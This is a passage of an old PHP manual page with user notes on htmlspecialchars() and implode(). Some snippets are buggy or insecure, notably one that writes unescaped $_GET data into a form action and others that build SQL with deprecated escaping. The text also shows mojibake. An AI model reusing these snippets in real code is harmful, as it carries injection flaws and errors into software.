    $string = preg_replace("/\//","\\\/",$string);
    $string = preg_replace("/\"/","\\\"",$string);
    $string = preg_replace("/'/"," ",$string);
    return $string;
}
?>
hope this may help those embedding php in javascripts
drew at august-harper dot com 22-Aug-2007 09:21
:// Escapes strings to be included in javascript
:function jsspecialchars($s) {
:    return preg_replace('/([^ :!#$%@()*+,-.\x30-\x5b\x5d-\x7e])/e',
:        "'\\x'.(ord('\\1')<16? '0': '').dechex(ord('\\1'))",$s);
:}

This function DOES NOT produce correct output in PHP5. Any strings containing a â€ will be improperly escaped to \x5c, when it should be \x22.

I am not very good with regular expressions, so this is my solution to the problem.
//this is a workaround for jsspecialchars!
function ord2($s) {
if (strlen($s) == 2) {
return ord(substr($s,1,1));
} else {
return ord($s);
}
}
function JS_SpecialChars($s) {
return preg_replace(â€™/([^ !#$%@()*+,.\x30\x5b\x5d-\x7e])/eâ€™,
â€â€™\\xâ€™.(ord2(â€™\\1â€™)&lt;16? â€˜0â€™: â€™â€™).dechex(ord2(â€™\\1â€™))â€,$s);
}

I am sure that there is a better solution, but I canâ€™t figure one out. This approach will probably also fix any other characters that end up being improperly escaped.
solar-energy 16-Jun-2007 03:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
galvao at galvao dot eti dot br 19-May-2007 06:19
There's a tiny error on alex-0 at hotmail dot co dot uk example:

The line:

$new = htmlspecialchars($_POST[message], ENT_QUOTES);

Should be written as:

$new = htmlspecialchars($_POST['message'], ENT_QUOTES);

Regards,
terminatorul at gmail dot com 27-Apr-2007 10:04
To html-encode Unicode characters that may not be part of your document character set (given in the META tag of your page), and so can not be output directly into your document source, you need to use mb_encode_numericentity(). Pay attention to it's conversion map argument.
frank at codedor dot be 16-Jan-2007 01:25
If you seem to have a problem with rendering dynamic RSS files from a database - try using htmlspecialchars() or htmlentities() on the text you are rendering.

Since XML and RSS is very strict about what is allowed inside nodes, you need to make sure everything is "A-OK" according to XML standards ...

Especially if the database you're pulling data from is fi. Latin-Swedish encoding, which seems to be the standard setting for MySQL databases.
alex-0 at hotmail dot co dot uk 23-Dec-2006 01:09
You can also use variables.
This is handy when working with forms to clear out an malicious html

<?php
$new = htmlspecialchars($_POST[message], ENT_QUOTES);
echo $new;
?>
richard at mf2fm dot com 03-Mar-2006 01:06
I had a script which detected swearing and wanted to make sure that words such as 'f &uuml; c k' didn't slip through the system.

After using htmlentities(), the following line converts most extended alphabet characters back to the standard alphabet so you can spot such problems..

$text=eregi_replace("&([a-z])[a-z0-9]{3,};", "\\\\1", $text);

This changes, for example, '&uuml;' into 'u' and '&szlig' into 's'.  Sadly it also converts '&pound;' and '&para;' into 'p' so it's not perfect but does solve a lot of the problems
mikiwoz at yahoo dot co dot uk 06-Oct-2005 02:40
I am not sure, maybe I'm missing something, but I have found something interesting:
I've been working on a project, where I had to use htmlspecialchars (for opbvious reasons). I olso needed to de-code the encoded string. What I have done was almost a copy and paste from php.net:
$trans=get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES);
$trans=array_flip($trans);
$string=strtr($encoded, $trans);
(it looked a bit different in my code, but the idea is clear)
I couldn't get the apostrophe sign de-coded, and I needed it for the <A> tags. After an hour or so of debuging, I decided do print_r($trans). What I got was:
...
[&#39;] => '
...
BUT the apostrophe was encoded to $#039; -> note the zero.
I don't suppose it's a bug, but it definetely IS a potential pitfall, watch out for this one.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 06:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
jspalletta at gmail dot com 12-Jul-2005 05:37
I have found that this regular expression is sufficient for making sure that existing character entities show after htmlspecialchars() replaces _all_ occurrences of & with the &amp; entity.

<?php
// Note: hsc is an abbreviation of htmlspecialchars
function hscFixed($str)
{
    return preg_replace("/&amp;(#[0-9]+|[a-z]+);/i", "&$1;", htmlspecialchars($str));
}
?>

The only flaw I can think of is if you have text of the vein; "&[word];", that is not meant to be a character but rather uses the ampersand and semicolon in their traditional grammatical denotations.  However I think this is highly unlikely to occur (among other reasons, the fact that anyone with enough grammatical inclination to use them as such probably won't leave out the space between the ampersand and the word).
25-Jun-2005 08:44
You can't use htmlspecialchars to create RSS feeds, since it expands ampersands.You need to use something like this:
$content = preg_replace(array('/</', '/>/', '/"/'), array('&lt;', '&gt;', '&quot;'), $content);
palrich at gmail dot com 16-May-2005 01:29
To Alexander Nofftz and urbanheroes:
It's not an IE problem.  There is no &apos; in HTML.  So it's only a problem if someone else does render this as an apostraphe on an HTML page.
paul dot l at aon dot at 09-May-2005 09:50
function reverse_htmlentities($mixed)
{
    $htmltable = get_html_translation_table(HTML_ENTITIES);
    foreach($htmltable as $key => $value)
    {
        $mixed = ereg_replace(addslashes($value),$key,$mixed);
    }
    return $mixed;
}

this is my version of a reversed htmlentities function
thisiswherejunkgoes at gmail dot com 05-May-2005 10:06
If there're any n00bs out there looking for a way to ensure that no html/special chars are getting sent to their databases/put through forms/etc., this has been doing the trick for me (though being at least slightly n00bish, if this won't always work perhaps someone will ammend :-)

function checkforchars ($foo) {

  if ($foo === htmlspecialchars($foo)) {
        return "Valid entry.";
  } else {
        return "Invalid entry.";
  }

}
urbanheroes {at} gmail {dot} com 30-Apr-2005 11:32
In response to the note made by Alexander Nofftz on October 2004, &#39; is used instead of &apos; because IE unfortunately seems to have trouble with the latter.
gt at realvertex.com 28-Apr-2005 09:55
Here is the recursive version that works for both arrays and strings. Doesn't look as elegant as the other recursive versions, because of the input checks.

function HTML_ESC($_input = null, $_esc_keys = false)
{
    if ((null != $_input) && (is_array($_input)))
    {
        foreach($_input as $key => $value)
        {
            if($_esc_keys)
            {
                $_return[htmlspecialchars($key)] = HTML_ESC($value,$_esc_keys);
            }
            else
            {
                $_return[$key] = HTML_ESC($value);
            }
        }
        return $_return;
    }
    elseif(null != $_input)
    {
        return htmlspecialchars($_input);
    }
    else
    {
        return null;
    }
}
took 23-Apr-2005 09:14
The Algo from donwilson at gmail dot com to reverse the action of htmlspecialchars(), edited for germany:

function unhtmlspecialchars( $string )
{
  $string = str_replace ( '&amp;', '&', $string );
  $string = str_replace ( '&#039;', '\'', $string );
  $string = str_replace ( '&quot;', '"', $string );
  $string = str_replace ( '&lt;', '<', $string );
  $string = str_replace ( '&gt;', '>', $string );
  $string = str_replace ( '&uuml;', 'ü', $string );
  $string = str_replace ( '&Uuml;', 'Ü', $string );
  $string = str_replace ( '&auml;', 'ä', $string );
  $string = str_replace ( '&Auml;', 'Ä', $string );
  $string = str_replace ( '&ouml;', 'ö', $string );
  $string = str_replace ( '&Ouml;', 'Ö', $string );
  return $string;
}
11-Mar-2005 04:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
beer UNDRSCR nomaed AT hotmail DOT com 01-Feb-2005 02:46
After inspecting the non-native encoding problem, I noticed that for example, if the encoding is cyrillic, and I write Latin characters that are not part of the encoding (æ for example - ae-ligature), the browser will send the real entity, such as &aelig; for this case.
Therefore, the only way I see to display multilingual text that is encoded with entities is by:
<?php
    echo str_replace('&amp;', '&', htmlspecialchars($txt));
?>

The regex for numeric entities will skip the Latin-1 textual entities.
zolinak at zoli dot szathmari dot hu 14-Dec-2004 04:46
A sample function, if anybody want to turn html entities (and special characters) back to simple. (eg: "&egrave;", "<" etc)

function html2specialchars($str){
    $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
    return strtr($str, $trans_table);
}
beer UNDRSCR nomaed AT hotmail DOT com 21-Oct-2004 01:03
Quite often, on HTML pages that are not encoded as UTF-8, and people write in not native encoding, some browser (for sure IExplorer) will send the different charset characters using HTML Entities, such as &#1073; for small russian 'b'.
htmlspecialchars() will convert this character to the entity, since it changes all & to &amp;
What I usually do, is either turn &amp; back to & so the correct characters will appear in the output, or I use some regex to replace all entities of characters back to their original entity:
<?php
    // treat this as pseudo-code, it hasn't been tested...
    $result = preg_replace('/&amp;#(x[a-f0-9]+|[0-9]+);/i', '&#$1;', $source);
?>
Alexander Nofftz 20-Oct-2004 04:41
Why &#39;? The HTML and XML DTDs proposed &apos; for this.
See http://www.w3.org/TR/html/dtds.html#a_dtd_Special_characters

So better use this:

$text = htmlspecialchars($text, ENT_QUOTES);
$text = preg_replace('/&#0*39;/', '&apos;', $text);
mlvanbie at gmail dot com 06-Oct-2004 04:45
The code in the previous note has a bug.  If the original text was `&gt;' then htmlspecialchars will turn it into `&amp;gt;' and the suggested code will turn that into `>'.  The &amp; translation must be last.
donwilson at gmail dot com 25-Sep-2004 09:58
To reverse the action of htmlspecialchars(), use this code:

<?php
    unhtmlspecialchars( $string )
    {
        $string = str_replace ( '&amp;', '&', $string );
        $string = str_replace ( '&#039;', '\'', $string );
        $string = str_replace ( '&quot;', '\"', $string );
        $string = str_replace ( '&lt;', '<', $string );
        $string = str_replace ( '&gt;', '>', $string );

        return $string;
    }
?>
thelatesundayshow.com @ nathan (flip it) 02-Sep-2004 11:51
heres a version of the recursive escape function that takes the array byref rather than byval so saves some resources in case of big arrays

function recurse_array_HTML_safe(&$arr) {
    foreach ($arr as $key => $val)
        if (is_array($val))
            recurse_array_HTML_safe($arr[$key]);
        else
            $arr[$key] = htmlspecialchars($val, ENT_QUOTES);
}
moc.xnoitadnuof@310symerej 21-Apr-2004 04:04
Here are some usefull functions.
They will apply || decode, htmlspecialchars || htmlentities recursivly to arrays() || to regular $variables. They also protect agains "double encoding".

<?PHP
function htmlspecialchars_or( $mixed, $quote_style = ENT_QUOTES ){
    return is_array($mixed) ? array_map('htmlspecialchars_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style ),$quote_style);
}

function htmlspecialchars_decode( $mixed, $quote_style = ENT_QUOTES ) {
    if(is_array($mixed)){
      return array_map('htmlspecialchars_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
  $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}

function htmlentities_or($mixed, $quote_style = ENT_QUOTES){
    return is_array($mixed) ? array_map('htmlentities_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlentities(htmlentities_decode($mixed, $quote_style ),$quote_style);
}

function htmlentities_decode( $mixed, $quote_style = ENT_QUOTES ) {
  if(is_array($mixed)){
      return array_map('htmlentities_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
    $trans_table = get_html_translation_table(HTML_ENTITIES, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}
?>

These functions are an addition to an earlier post. I would like to give the person some credit but I do not know who it was.

<?  ;llnu=u!eJq dHd?>
Dave Duchene 19-Feb-2004 05:58
Here is a handy function that will escape the contents of a variable, recursing into arrays.

<?php
function escaporize($thing) {
  if (is_array($thing)) {
    $escaped = array();

    foreach ($thing as $key => $value) {
      $escaped[$key] = escaporize($value);
    }

    return $escaped;
  }

  // else
  return htmlspecialchars($thing);
}
?>
mike-php at emerge2 dot com 20-Nov-2003 02:13
Here's a handy function that guards against 'double' encoding:

# Given a string, this function first strips out all html special characters, then
# encodes the string, safely returning an encoded string without double-encoding.
function get_htmlspecialchars( $given, $quote_style = ENT_QUOTES ){
   return htmlspecialchars( html_entity_decode( $given, $quote_style ), $quote_style );
}

# Needed for older versions of PHP that do not have this function built-in.
function html_entity_decode( $given_html, $quote_style = ENT_QUOTES ) {
   $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
   if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
      $trans_table["'"] = '&#039;';
   }
   return ( strtr( $given_html, array_flip( $trans_table ) ) );
}

Note: I set the default to ENT_QUOTES, as this makes more sense to me than the PHP function's default of ENT_COMPAT.
nospam at somewhere dot com 15-Jun-2003 10:28
most simple function for decoding html-encoded strings:

function htmldecode($encoded) {
    return strtr($encoded,array_flip(get_html_translation_table(HTML_ENTITIES)));
}
dystopia589 at yahoo dot com 13-Mar-2003 07:58
Sorry, part of that code was unnecessary. Here's a more readable version:

function SpecialChars($Security)
{
if (is_array($Security))
{
while(list($key, $val) = each($Security))
{
$Security[$key] = SpecialChars($val);
}
}
else
{
$Security = htmlspecialchars(stripslashes($Security), ENT_QUOTES);
}
return $Security;
}
webmaster at NOSPAM dot onlinegs dot com 28-Jan-2003 10:51
for those of you using V 4.3.0+ you can use html_entity_decode() to decode a string encoded with htmlspecialschars(), this should be faster and easier then using a str_replace or ereg.
_____ at luukku dot com 14-Sep-2002 02:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
akira dot yoshi at shrine dot de 15-May-2002 09:15
If you need to htmlspecialchars a jis string, here's a function that does:

function htmlspecialchars_jis($text) {
    $ret="";
    if ($text=="") return "";
    $esc=chr(27);
    $text=$esc."$B".$esc."$B".$text;
    $text=str_replace($esc."(B", $esc."$B", $text);
    $trans=explode($esc."$B", $text);
    $enc=0;
    while (list (, $val) = each ($trans))  {
        if ($enc==0) {
            $val.="";
            if ($val!="") $ret.=htmlspecialchars($val);
            $enc=1;
        } else {
            $val.="";
            if ($val!="") $ret.=$esc."$B".$val.$esc."(B";
            $enc=0;
        };
    }
    return $ret;
};

BTW: I'm very(!) sure that JIS is iso-2022-jp, not iso-2002-jp
juadielon_NOSPAM at hotmail dot com 30-Apr-2002 09:09
I was trying to retrieve information from a database to display it into the browser. However it did not work as I was expecting.  For instance double quotes (“”) and single quotes (‘’) were conflicting in HTML in an INPUT selector.

The first approach to solve this was to use htmlspecialchars to convert special characters to HTML entities to display the input box with its value.

$encode=htmlspecialchars($str, ENT_QUOTES);

However, the result was having HTML entities with a \ (backslash) preceding it (escape characters).  For instance ampersand (&) becomes \&amp; displaying \& and double quotes becomes \&quot; displaying \”

So the final solution was to replace first any \ (backslash) and then ask htmlspecialchars to make the conversion.

[Editor's Note: This is the wrong way to do this. The proper way is to use

$encoded = htmlspecialchars(stripslashes($str), ENT_QUOTES);
]

$encoded=htmlspecialchars(str_replace('\\', '', $str), ENT_QUOTES);

Try this example to see it your self.

<form action="<?php echo $PHP_SELF; ?>">
<input type="text" name="str" size="20" value="">
<input type="submit" value="Submit">
<br>
<?php
  if (!empty($str)) {
    $encoded=htmlspecialchars(str_replace('\\', '', $str), ENT_QUOTES);
    echo "<br><p>Result: <b>".$encoded."</b>. It should be the same you just typed</p>";
    echo "<p>But source code is transformed to:<b><xmp>".$encoded."</xmp></b></p>";
    // I know, I know <xmp> is deprecated in HTML 4 but was easy to use this time to display result.
  }
?>
</form>

Hope this will helps someone.
akira at kurogane dot net 01-Apr-2002 09:42
Beware of parsing JIS (aka 'iso-2002-jp') text through this function, as this function does not appear to have a sense for multibyte characters and may corrupt some characters. Eg. the japanese comma (the two ascii characters !" as viewed by an ascii client) gets transferred into !&quot; , which transforms the comma into a 'maru' mark and the following characters into garbage.
Conceivably this could affect other multibyte charsets.
joseph at nextique dot com 20-Feb-2002 01:21
Here is a handy function to htmlalize an array (or scalar) before you hand it off to xml.

function htmlspecialchars_array($arr = array()) {
    $rs =  array();
    while(list($key,$val) = each($arr)) {
        if(is_array($val)) {
            $rs[$key] = htmlspecialchars_array($val);
        }
        else {
            $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
        }
    }
    return $rs;
}
14-Jul-2001 11:18
If your sending data from one form to another, the data in the textareas and text inputs may need to have htmlspecialchars("form data", ENT_QUOTES) applied, assuming you will ever have quotes or less-than signs or any of those special characters.  Using htmlspecialchars will make the text show up properly in the second form.  The changes are automatically undone whenever the form data is submitted. It does seem a little strange, but it works and my headache is now starting to go away.

AZ
ryan at ryano dot net 29-Jun-2001 03:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);
thorax at inforocket dot com 08-Dec-1999 05:26
to convert a document back from this,
do string replacements in this order:

>   >
<   <
" "
&  &

Doing the last phase first will
reveal erroneous results.. For example:

'<'  => specialchars() => '&lt;' '&lt;' => convert ampersands => '<' => convert everything else => '<'
htmlspecialchars_decode
implode
String Functions


Join array elements with a string

htmlspecialchars
join
String Functions
PHP Manual

implode

(PHP 4, PHP 5)

implode — Join array elements with a string

Description

string implode ( string $glue , array $pieces )
string implode ( array $pieces )

Join array elements with a glue string.

Note:

implode() can, for historical reasons, accept its parameters in either order. For consistency with explode(), however, it may be less confusing to use the documented order of arguments.

Parameters

glue

Defaults to an empty string. This is not the preferred usage of implode() as glue would be the second parameter and thus, the bad prototype would be used.

pieces

The array of strings to implode.

Return Values

Returns a string containing a string representation of all the array elements in the same order, with the glue string between each element.

Changelog

Version | Description
4.3.0 | The glue parameter became optional.

Examples

Example #1 implode() example

<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

// Empty string when using an empty array:
var_dump(implode('hello', array())); // string(0) ""

?>

Notes

Note: This function is binary-safe.

See Also

  • explode() - Split a string by string
  • preg_split() - Split string by a regular expression

User Contributed Notes

lightningspirit at gmail dot com 08-Oct-2011 10:02
Here is a function to implode and array including the key and value pair.

<?php
/**
 * Implode an array with the key and value pair giving
 * a glue, a separator between pairs and the array
 * to implode.
 * @param string $glue The glue between key and value
 * @param string $separator Separator between pairs
 * @param array $array The array to implode
 * @return string The imploded array
 */
function array_implode( $glue, $separator, $array ) {
    if ( ! is_array( $array ) ) return $array;
    $string = array();
    foreach ( $array as $key => $val ) {
        if ( is_array( $val ) )
            $val = implode( ',', $val );
        $string[] = "{$key}{$glue}{$val}";

    }
    return implode( $separator, $string );

}
?>

You can, for example, encode an array to be sent as an URL query using this:
<?php
$query = url_encode( array_implode( '=', '&', $array ) );
?>

Or if you want to output an HTML element attributes:
<?php
echo '<input '.array_implode( '="', '" ', $array ).' />';
?>

Hope it can help someone!
jim at terrys dot net 07-Oct-2011 05:38
for dealing with tables:

<?php
$values = array('firstname'=>'firstname_value','lastname'=>'lastname_value');

sprintf('INSERT INTO %s (%s) VALUES ("%s")', 'table_name', implode(', ', array_map('mysql_escape_string', array_keys($values))), implode('", "',array_map('mysql_escape_string', $values)));

//that gives you: INSERT INTO table_name (firstname, lastname) VALUES ("firstname_value", "lastname_value")

?>
gu_ludo at yahoo dot com dot br 19-Aug-2011 04:32
Hello there.
First, forgive me for my English if I write anything wrong. I'm brazilian.

I've made a recursive implode for multidimensional arrays. The $glue may be either an array or a string. If array, each element will be used as glue for each level of $pieces. If count($glue) is less than number of levels of $pieces, the last glue will be used for the remainder levels.

<?php

function implode_r($glue, $pieces){
        $return = "";

        if(!is_array($glue)){
            $glue = array($glue);
        }

        $thisLevelGlue = array_shift($glue);

        if(!count($glue)) $glue = array($thisLevelGlue);

        if(!is_array($pieces)){
            return (string) $pieces;
        }

        foreach($pieces as $sub){
            $return .= implode_r($glue, $sub) . $thisLevelGlue;
        }

        if(count($pieces)) $return = substr($return, 0, strlen($return) -strlen($thisLevelGlue));

        return $return;
    }

//Example
$arr = array(
    array(
        'SecondLevelFirstElement',
        'SecondLevelSecondElement'
    ),
    'FirstLevelFirstElement',
    'FirstLevelSecondElement'
);

echo implode_r(array("-|-", "_"));

?>

The output string will be:
"SecondLevelFirstElement_SecondLevelSecondElement-|-FirstLevelFirstElement-|-FirstLevelSecondElement"
alexey dot klimko at gmail dot com 23-Jun-2011 05:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
tl at magus dot dk 06-May-2011 10:42
It is also possible to implode an associative array using the following code (if you do not like (mis-)using http functions):

<?php

$assoc_array = array("Key1" => "Value1", "Key2" => "Value2");

$new_array = array_map(create_function('$key, $value', 'return $key.":".$value." # ";'), array_keys($assoc_array), array_values($assoc_array));

print implode($new_array);

?>

Which will output:

Key1:Value1 # Key2:Value2 #
sean at seancolombo dot com 11-Feb-2011 03:19
I've seen some code below for imploding an associative array.

Please note that http_build_query() will take care of that for you:
http://php.net/http_build_query

Happy coding!
stefan at efectos dot nl 09-Nov-2010 01:38
Small function when you just want to implode on the keys of an array. Especially helpful when you for instance create an array for database inserting in which the keys point to table row names.

Uses same function argument names as this documentation states for implode.

<?php
function implode_key($glue = "", $pieces = array()) {
    $arrK = array_keys($pieces);
    return implode($glue, $arrK);
}
?>
jords at NOSPAMshadowservices dot biz 02-Sep-2010 09:09
You don't need to do anything funny with implode() to get a php array into javascript - just use json_encode().
rustem 26-Apr-2010 07:17
If you need to output an array of strings inclosed in quotes (to convert it from php to JavaScript for instance), you can use this simple method:

var js_array = new Array("<?php echo implode('","',$php_array)?>");
kromped at yahoo dot com 08-Feb-2010 04:29
Recursive Implode

<?php

function r_implode( $glue, $pieces )
{
  foreach( $pieces as $r_pieces )
  {
    if( is_array( $r_pieces ) )
    {
      $retVal[] = r_implode( $glue, $r_pieces );
    }
    else
    {
      $retVal[] = $r_pieces;
    }
  }
  return implode( $glue, $retVal );
}

$test_arr = array( 0, 1, array( 'a', 'b' ), array( array( 'x', 'y'), 'z' ) );
echo r_implode( ',', $test_arr ) . "\n";
$test_arr = array( 0 );
echo r_implode( ',', $test_arr ) . "\n";
?>
mwwaygoo AT hotmail DOT com 18-Nov-2009 07:54
I was a little worried about the multi-dimensional array implodes listed here, as they are using 'for' loops, which is bad programming practice as arrays are not always nice and neat.

I hope this helps

<?php
function multi_implode($glue, $pieces)
{
    $string='';

    if(is_array($pieces))
    {
        reset($pieces);
        while(list($key,$value)=each($pieces))
        {
            $string.=$glue.multi_implode($glue, $value);
        }
    }
    else
    {
        return $pieces;
    }

    return trim($string, $glue);
}

?>
ravenswd at gmail dot com 07-Aug-2009 04:21
As "john" pointed out on 2004 Apr 26, implode does not always work in a way that could be considered intuitive.

You may need to sort your elements with ksort, or write a longer routine to fill in any "gaps". See this example:

<?php
$a = array(1=>'one', 7=>'seven', 5=>'five');

$b = implode (',', $a);

ksort ($a);

$c = implode (',', $a);

$highest = max(array_keys($a));
for ($i = 0; $i <= $highest; ++$i):
  if (! isset($a[$i])):
    $a[$i] = '';
  endif;
endfor;
ksort ($a);

$d = implode (',', $a);

print "\$b = '$b'<br>\n";
print "\$c = '$c'<br>\n";
print "\$d = '$d'<br>\n";

/*
output:
$b = 'one,seven,five'
$c = 'one,five,seven'
$d = ',one,,,,five,,seven'
*/
?>

Or, as a function:

<?php
function ensure (&$a, $filler = '') {

  // given: array $a with numerical keys
  // return: $a with keys sorted numerically and any gaps filled-in

   $highest = max(array_keys($a));
   for ($i = 0; $i <= $highest; ++$i):
     if (! isset($a[$i])):
       $a[$i] = $filler;
     endif;
   endfor;
   ksort ($a);

} // end function ensure

// usage:
// ensure($foo);
// ensure($bar, 0);
?>
adam82s at gmail dot com 04-Aug-2009 05:39
Found it very useful when inserting sql/mysql rows,

<?php
$values = array('firstname'=>'firstname_value','lastname'=>'lastname_value');

sprintf('INSERT INTO %s (%s) VALUES ("%s")', 'table_name', implode(', ', array_map('mysql_escape_string', array_keys($values))), implode('", "',array_map('mysql_escape_string', $values)));

//that gives you: INSERT INTO table_name (firstname, lastname) VALUES ("firstname_value", "lastname_value")

?>
Very useful when dealing with tables with many columns.
houston_roadrunner at yahoo dot com 07-Apr-2009 11:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''
vega at terzapersona dot com 13-Mar-2009 01:26
I have improved crashinside's function for db use

function mt_implode($char,$array,$fix='',$addslashes=false)
{
    $lem = array_keys($array);
    $char = htmlentities($char);
    for($i=0;$i<sizeof($lem);$i++) {
      if($addslashes){
        $str .= $fix.(($i == sizeof($lem)-1) ? addslashes($array[$lem[$i]]).$fix : addslashes($array[$lem[$i]]).$fix.$char);
      }else{
        $str .= $fix.(($i == sizeof($lem)-1) ? $array[$lem[$i]].$fix : $array[$lem[$i]].$fix.$char);
      }
    }
    return $str;
}

$array = array("apple", "orange", "tree", "Sant' Anna");
echo mt_implode(', ', $array,'"',true);

// "apple", "orange", "tree", "Sant\' Anna"
crashinside 06-Jan-2009 02:57
I've implemented the function implode (it's easy):
<?php
function mt_implode($char,$array)
{
    $lem = array_keys($array);
    $char = htmlentities($char);
    for($i=0;$i<sizeof($lem);$i++) {
        $str .= ($i == sizeof($lem)-1) ? $array[$lem[$i]] : $array[$lem[$i]].$char;
    }
    return $str;
}
?>

Have fun
crazytonyi at example dot com 28-Dec-2008 11:04
For anyone looking for a good method to wrap each element before imploding it, I use this method:

<?php
function wrap_each(&$item)
{
    $item = "'$item'";
}

array_walk($array, 'wrap_each');
$array_csv = implode(",", $array);
?>
pr at technoparkcorp dot com 06-Nov-2008 12:48
This function is much more elegant and fast. It converts array to the list with 'and' at the end:

<?php
function ImplodeToEnglish ($array) {
    // sanity check
    if (!$array || !count ($array))
        return '';

    // get last element
    $last = array_pop ($array);

    // if it was the only element - return it
    if (!count ($array))
        return $last;

    return implode (', ', $array).' and '.$last;
}
?>
php at emanaton dot com 09-Oct-2008 08:27
I was fiddling around on a project and created an associative array implosion function that incorporates several of the ideas from this page, but which also adds a whack of nifty options. Unfortunately, the documentation for it made the post to long to display on this page, so I've provided the example on my site. Enjoy!

http://emanaton.com/code/php/implode_assoc
Kerberos 12-Sep-2008 05:09
Here's my version of the english implode function, it's quite crafty so I thought I'd share it...

<?php
    #
    # Transforms an array to an english list:
    # This, This and This
    #
    function array_to_english ( $list, $glueword='and' ) {

        $string = false;

        foreach ( array_reverse ( $list ) as $index=>$value ) {
            $string = "$value$glue$string";
            if ( $index == 0 ) $glue = " $glueword ";
            if ( $index == 1 ) $glue = ', ';
        }

        return $string;
    }
?>
compton 16-Aug-2008 08:51
superstuntguy below would save himself and his server a lot of time just by using $_SERVER['QUERY_STRING'] (see http://uk.php.net/manual/en/reserved.variables.server.php), as in:

<?php
echo '<form action=', $_SERVER['PHP_SELF'], '?', $_SERVER['QUERY_STRING'], ' method=post>';
?>

Note: using commas instead of full-stops (periods) between strings for echo is marginally more efficient as echo can then simply pop the substrings off the stack avoiding the tincy-wincy extra overhead of string concatenation.
mjong at magnafacta dot nl 30-Jul-2008 04:30
Many of the functions below can be simplified using this short function:

<?php
function array_implode($arrays, &$target = array()) {
    foreach ($arrays as $item) {
        if (is_array($item)) {
            array_implode($item, $target);
        } else {
            $target[] = $item;
        }
    }
    return $target;
}

$a = array('a', 'b', array('c', 'd', array('e'), 'f'), 'g', array('h'));

echo join(' - ', array_implode($a));
?>

The outputs:

<?php

a - b - c - d - e - f - g - h

?>
superstuntguy at gmail dot com 25-Jul-2008 05:38
I found this pretty useful so I wouldn't have to hardcode things:
<?php
function implode_get() {
    $first = true;
    $output = '';
    foreach($_GET as $key => $value) {
        if ($first) {
            $output = '?'.$key.'='.$value;
            $first = false;
        } else {
            $output .= '&'.$key.'='.$value;
        }
    }
    return $output;
}

echo '<form action='.$_SERVER['PHP_SELF'].implode_get()' method=post>';
?>
theuedimaster at gmail dot com 23-Jul-2008 06:36
This is a recursive implode function that can be used on multi-dimensional arrays. The explode function has also obeen included.

<?php
                //  Can implode an array of any dimension
        //  Uses a few basic rules for implosion:
        //        1. Replace all instances of delimeters in strings by '/' followed by delimeter
        //        2. 2 Delimeters in between keys
        //        3. 3 Delimeters in between key and value
        //        4. 4 Delimeters in between key-value pairs
        function implodeMDA($array, $delimeter, $keyssofar = '') {
            $output = '';
            foreach($array as $key => $value) {
                if (!is_array($value)) {
                    $value = str_replace($delimeter, '/'.$delimeter, $value);
                    $key = str_replace($delimeter, '/'.$delimeter, $key);
                    if ($keyssofar != '') $key = $key.$delimeter.$delimeter;
                    $pair = $key.$keyssofar.$delimeter.$delimeter.$delimeter.$value;
                    if ($output != '') $output .= $delimeter.$delimeter.$delimeter.$delimeter;
                    $output .= $pair;
                }
                else {
                    if ($output != '') $output .= $delimeter.$delimeter.$delimeter.$delimeter;
                    if ($keyssofar != '') $key = $key.$delimeter.$delimeter;
                    $output .= $this->implodeMDA($value, $delimeter, $key.$keyssofar);
                }
            }
            return $output;
        }

        //  Can explode a string created by corresponding implodeMDA function
        //  Uses a few basic rules for explosion:
        //        1. Instances of delimeters in strings have been replaced by '/' followed by delimeter
        //        2. 2 Delimeters in between keys
        //        3. 3 Delimeters in between key and value
